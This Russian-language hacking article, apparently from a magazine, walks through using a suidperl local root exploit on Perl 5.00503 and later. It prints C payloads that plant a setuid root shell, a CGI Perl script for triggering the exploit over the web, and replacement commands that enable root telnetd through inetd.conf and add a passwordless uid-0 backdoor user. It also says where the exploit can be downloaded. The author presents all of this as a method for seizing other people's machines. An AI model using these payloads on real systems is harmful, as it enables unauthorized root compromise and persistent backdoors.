В этой статье я расскажу об одном замечательном эксплойте, который может дать рута, благодаря суидному "/usr/bin/suidperl" (тот же перл, но работающий с суидными скриптами). Как говорят авторы сплойта, он применим к версии 5.00503 и выше... Почему именно он? Так как лично я, при помощи данной штуки брал около 5-6 рутов, даже если на тачке не было телнета/ssh 😉

Принцип сплойта таков: он составляет 2 "сишных" файла, bighole.c и sush.c, дающий суидный /bin/bash с правами root 😉 Соответственно, у тех, кто запустит этот shell, будет root.
В первом (bighole.c) находится следующее:

main() {
setuid(0);
setgid(0);
chown("sush",0,0);
chmod("sush",04755);
}

Тут все понятно, установка рутового uid и gid, изменение
оунера sush и установка +s и 755 на него...

В sush.c будет непосредственно запуск bash 😉

main() {
setuid(0);
setgid(0);
system("/bin/bash");
}

Есть файлик flare, в котором находится лишь один
print, обрабатывающийся с помощью suidperl. Затем сложная конструкция, повторяющаяся n раз, благодаря ей, suidperl ставит suid на bighole и рут у тебя в кармане...
Таким образом, запустив на тачке этот сплойт и подождав до 5 минут ты получаешь рута...

Но для этого у тебя должен быть какой то shell.. любых прав. А если у тебя его нет? Проанализируем ситуацию

1) На тачке нет telnetd/ssh, но есть ftp и www+cgi. Этого нам хватит 😉 Это такой же shell, только через твоего любимого ослика 🙂

а) Готовим простой скриптик, который заливаем в cgi-bin 🙂

#!/usr/bin/perl
print "Content-type: text/html\n\n";
system("/bin/sh /home/xakep/www/cgi-bin/suidperl.sh");
print "Done\n";

Скрипт простой: запуск сплойта через web, посредством cgi 🙂

б) Изменяем код xploit`а. Ищем запись sush.c, и вместо system("/bin/bash") пишем 3 строки,

system("echo 'telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd'>>/etc/inetd.conf"); 
system("/etc/rc.d/init.d/inet restart");
system("adduser -u 0 -g 0 -s /bin/bash lamer");

которые врубают telnetd и добавляют юзера lamer`а с правами root =)

в) кидаем сплойт в cgi-bin диру, рядом со скриптом, идем на веб, запускаем скрипт и молимся, периодически сканируя хост на 23 порт 🙂

г) телнетимся на тачку под lamer`ом. Если все ok, то linux пропустит тебя без пароля, который ты можешь себе поставить потом 🙂

Вариантов много, главное хорошо их применить 😉

Ах, да, чуть не забыл... Сплойт берем либо на http://packetstormsecurity.org
либо на http://forbik.chat.ru/suidperl.sh

Check Also

Фундаментальные основы хакерства. Мастер-класс по анализу исполняемых файлов в IDA Pro

В этой статье мы окунемся в глубокий и подробный статический анализ с помощью IDA Pro — св…

Оставить мнение